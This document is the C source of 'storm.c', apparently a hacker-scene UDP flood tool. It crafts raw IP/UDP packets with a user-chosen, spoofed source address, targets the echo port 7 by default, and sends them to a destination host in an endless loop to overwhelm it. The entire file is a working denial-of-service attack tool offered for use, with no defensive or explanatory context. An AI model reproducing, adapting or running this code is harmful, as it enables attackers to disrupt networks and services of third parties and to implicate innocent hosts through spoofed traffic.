#include <signal.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netdb.h>

#define PACKET_WAIT 1

int srcport = 7;
int dstport = 7;

int sen;
int i;

char *dsthost;
char *srchost;

unsigned long dst;
unsigned long src;

int        numpackets;
unsigned long packetsize;
char         *packet;

struct sockaddr_in srcaddr;
struct sockaddr_in dstaddr;

struct hostent *host;
struct udphdr *udp;
struct iphdr *ip;

void abort()
     {
	printf("# exiting...\n\n");
	close(sen);
	exit(0);
     }

void banner(void)
     {
/*	system("clear"); */
	printf("#    ,\n");
	printf("# ,`\n");
	printf("# ,  (vivid)storm.c by prym\n");
	printf("#  .\n");
	printf("#    `\n\n");
     }

void usage(char *progname)
     {
	printf("\tusage: %s <src> <dst> <packetsize> [sp] [dp] [num packets]\n\n",progname);
	printf("\t<src>         - source host\n");
	printf("\t<dst>         - destination host\n");
	printf("\t<packetsize>  - size of packets to send\n");
	printf("\t[sp]          - source port - default 7\n");
	printf("\t[dp]          - destination port - default 7\n");
	printf("\t[num packets] - number of packets to send\n\n");
	exit(1);
     }

void parse_args(int argc, char *argv[])
     {
	srchost                = argv[1];
	dsthost                = argv[2];
	packetsize             = atoi(argv[3]);
	if (argc>4) srcport    = atoi(argv[4]);
	if (argc>5) dstport    = atoi(argv[5]);
	if (argc>6) numpackets = atoi(argv[6]);
     }

void resolve_hosts(void)
     {
	memset(&srcaddr, 0, sizeof(struct sockaddr_in));
	srcaddr.sin_family      = AF_INET;
	srcaddr.sin_addr.s_addr = inet_addr(srchost);
	if (srcaddr.sin_addr.s_addr == -1)
	     {
		host = gethostbyname(srchost);
		if (host == NULL)
		     {
			printf("# unknown host %s\n",srchost);
			exit(1);
		     }
		srcaddr.sin_family = host->h_addrtype;
		memcpy((caddr_t) &srcaddr.sin_addr, host->h_addr, host->h_length);
	     }
	memcpy(&src, (char *)&srcaddr.sin_addr.s_addr, 4);
	memset(&dstaddr, 0, sizeof(struct sockaddr_in));
	dstaddr.sin_family      = AF_INET;
	dstaddr.sin_addr.s_addr = inet_addr(dsthost);
	if (dstaddr.sin_addr.s_addr == -1)
	     {
		host = gethostbyname(dsthost);
		if (host == NULL)
		     {
			printf("# unknown host %s\n", dsthost);
			exit(1);
		     }
		dstaddr.sin_family = host->h_addrtype;
		memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);
	     }
	memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);
	printf("# source host - %s\n",srchost);
	printf("# destination host - %s\n",dsthost);
     }

unsigned short in_cksum(u_short *addr, int len)
     {
	register int nleft  = len;
	register u_short *w = addr;
	register int sum    = 0;
	u_short answer      = 0;
	while (nleft > 1)
	     {
		sum   += *w++;
		nleft -= 2;
	     }
	if (nleft == 1)
	     {
		*(u_char *)(&answer) = *(u_char *)w;
		sum                 += answer;
	     }
	sum    = (sum >> 16) + (sum & 0xffff);
	sum   += (sum >> 16);
	answer = ~sum;
	return(answer);
     }

main(int argc, char *argv[])
     { 
	banner();
	signal(SIGINT, abort);
	if (argc<4) usage(argv[0]);
	parse_args(argc, argv);
	resolve_hosts();
	printf("# source port - %d\n",srcport);
	printf("# destination port - %d\n",dstport);
	printf("# packet size - %d\n",packetsize);
	sen    = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize);
	ip  = (struct iphdr *)   packet;
	udp = (struct udphdr *) (packet + sizeof(struct iphdr));
	memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize);
	ip->saddr    = src;
	ip->daddr    = dst;
	ip->version  = 4;
	ip->ihl      = 5; 
	ip->ttl      = 255;
	ip->protocol = IPPROTO_UDP;
	ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize);
	ip->check    = in_cksum(ip, sizeof(struct iphdr));
	udp->source  = htons(srcport);       
	udp->dest    = htons(dstport);
	udp->len     = htons(sizeof(struct udphdr) + packetsize);
	printf("# storming...\n");
	printf("# press ^c to stop...\n");
	if (numpackets)
	     {
		for (i=0;i<numpackets;i++)
		     {
			if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize, 0, &dstaddr, sizeof(struct sockaddr_in)) == -1)
			     {
				perror("# error: sending packet");
				exit(1);
			     }
			usleep(PACKET_WAIT);
		     }
	     }
	else
	     {
		for (;;)
		     {
			if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize, 0, &dstaddr, sizeof(struct sockaddr_in)) == -1)
			     {
				perror("# error: sending packet");
				exit(1);
			     }
			usleep(PACKET_WAIT);
		     }
	     }
     }
